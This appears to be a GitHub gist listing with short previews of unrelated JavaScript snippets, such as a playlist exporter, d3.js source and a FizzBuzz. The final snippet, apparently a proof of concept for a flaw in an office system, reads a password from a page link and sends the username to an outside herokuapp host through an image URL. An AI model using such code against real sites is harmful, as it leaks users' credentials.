This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* 使用方法: | |
* 1. 用 Chrome 打开歌单的 web 页面(可以通过分享拿到链接,链接类似这样:http://music.163.com/playlist?id=xxx&userid=yyy) | |
* 2. 然后右键“检查”(如果有左上角有 device 选项,需要选择 Laptop 开头的,可以在 Edit/编辑 里添加) | |
* 3. 在 console 里输入下面脚本,即可输出 “歌曲名 - 歌手名” 格式的内容: | |
Springsteen - Eric Church | |
Chattahoochee - Alan Jackson | |
Baby Now That I Found You - Alison Krauss | |
Check Yes or No - George Strait |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Keybase proof | |
I hereby claim: | |
* I am tianshuo on github. | |
* I am tianshuo (https://keybase.io/tianshuo) on keybase. | |
* I have a public key whose fingerprint is DB4E BEB5 94F8 6D5D 278C 5BA2 8F90 D71E E6E8 842C | |
To claim this, I am signing this object: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
d3 = function() { | |
var d3 = { | |
version: "3.3.8" | |
}; | |
if (!Date.now) Date.now = function() { | |
return +new Date(); | |
}; | |
var d3_arraySlice = [].slice, d3_array = function(list) { | |
return d3_arraySlice.call(list); | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//This algorithm is from http://www.hellocq.net/forum/simple/?t284938.html | |
function dohash(theCall){ | |
var hash=0x73e2; | |
var rootCall=theCall.split("-")[0].toUpperCase(); | |
for(var i=0;i<rootCall.length;i+=2){ | |
hash^=rootCall.charCodeAt(i)<<8; | |
hash^=rootCall.charCodeAt(i+1); | |
} | |
return hash & 0x7fff; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:title=prompt("Submit title",document.title)?window.location="http://news.ycombinator.com/submitlink?u="+encodeURIComponent(document.location)+"&t="+encodeURIComponent(title):0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Recursive Fizzbuzz with Y-combinator in javascript... | |
* Tail-recursion and no loops | |
* By TiansHUo http://tianshuohu.diandian.com | |
* Y-combinator from: http://blog.jcoglan.com/2008/01/10/deriving-the-y-combinator/ | |
*/ | |
var Y = function(f) { | |
return (function(g) { | |
return g(g); | |
})(function(h) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 协同办公有严重安全隐患 | |
document.body.appendChild(document.createElement('script')).src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"; | |
document.getElementsByTagName("a")[3].outerHTML.match(/password=(.*)&/); | |
document.write("<h1 id='ps123' style='color:red;display:inline;'>你的密码是:"+RegExp.$1+"</h1>"); | |
document.write("<img src='http://frozen-tor-6666.herokuapp.com/XIETONG:"+document.getElementsByTagName("a")[3].outerHTML.match(/username(.*)url/)+"' />"); | |
$(function(){ | |
var showpass=function(doc){ | |
window.password=doc.match(/password=.*?&/).toString().slice(9,-1); | |
$("#ps123").text($("#UserHead1_Label1").text()+",你的密码是:"+password); |